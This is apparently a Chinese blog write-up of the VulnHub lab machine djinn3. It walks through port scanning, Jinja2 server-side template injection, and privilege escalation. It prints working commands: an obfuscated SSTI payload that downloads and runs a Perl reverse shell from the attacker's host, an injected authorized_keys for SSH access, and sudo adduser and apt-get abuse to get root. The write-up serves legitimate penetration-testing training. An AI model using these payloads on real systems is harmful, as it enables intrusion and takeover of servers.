vulnhub靶机:djinn3

一:信息收集

1:主机发现

2:端口扫描

nmap -sV -p- -T4 10.9.23.26

3:端口探测

1:访问80端口,没有找到有用的信息

2:访问5000端口,提到一个默认用户guest

3:nc连接31337端口,需要输入用户名和密码,尝试刚刚的guest/guest,成功登录,这个是和5000端口相关联的,在这里创建,5000端口用于显示

nc 10.9.23.26 31337

反复测试发现存在ssti漏洞

SSTI (Server-Side Template Injection) 漏洞是一种常见的Web应用程序漏洞,允许攻击者在服务器端注入恶意代码到应用程序的模板中。这种漏洞通常发生在使用模板引擎的Web应用程序中,攻击者可以利用这个漏洞执行任意代码,包括读取敏感数据、控制服务器等。

在twig模板会以乘积结果显示,而jinja2中则是以乘方显示

{{7*'7'}}

二:渗透测试

1:漏洞利用

https://github.com/swisskyrepo/PayloadsAllTheThings

找到jinja2的那个payload

以上结果说明ssti引擎是jinja2,网上搜集jinja2的反弹shell,搜索ssti的payload,得到

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

把id改成wget,然后加上我们攻击机的反弹shell文件,使用perl,注意要改下文件里的ip和端口

路径/usr/share/webshells/perl/perl-reverse-shell.pl,使用的时候需要修改文件中的ip,并将文件复制到根目录下

最终我们要使用的payload就是下面这个

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('wget http://10.9.23.112/perl-reverse-shell.pl;perl perl-reverse-shell.pl')|attr('read')()}}

然后把上面的内容放在31337端口新建的ticket里面,kali用python开启http服务,然后进入5000端口,点击link即可得到shell

打开nc监听

反弹成功

python提权

python -c "import pty;pty.spawn('/bin/bash')"

2:ssh

然后把pspy64上传到靶机的tmp目录里,pspy64是检测主机的进程工具,运行发现存在两个py文件,搜索saint的文件

发现存在两个py文件,搜索saint的文件

find / -user saint 2>/dev/null

根据这两个python程序的源码,在/tmp下新建一个文件,文件名字为25-03-2024.config.json,内容如下,本地服务器的authorized_keys文件的内容是使用ssh-keygen生成的id_rsa.pub文件内容

{
"URL":"http://10.9.23.112/authorized_keys",
"Output":"/home/saint/.ssh/authorized_keys"

}

用ssh-keygen工具生成id_rsa.pub和id_rsa文件,keys文件就是id_rsa.pub的内容,然后kali开启http服务(这里由于靶机创建文件比较难,可以在kali新建json文件,然后靶机去下载)

等待片刻,进入kali的/root/.ssh目录下,直接连接saint用户即可

ssh saint@10.9.23.26

3:提权

执行sudo -l,发现可以免密执行adduser命令,添加一个root组的用户

查看sudoers文件,查看还有哪些用户可以使用sudo执行命令,发现一个jason用户,但是这个用户并不存在,但是我们是可以新建用户的,所以需要密码(自己的密码)才能执行这个也就没有问题

sudo adduser choudan -gid=0

exit退回到saint用户,新建jason用户

切换到jason用户,使用apt-get命令提权

sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

靶机结束

  • 25
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值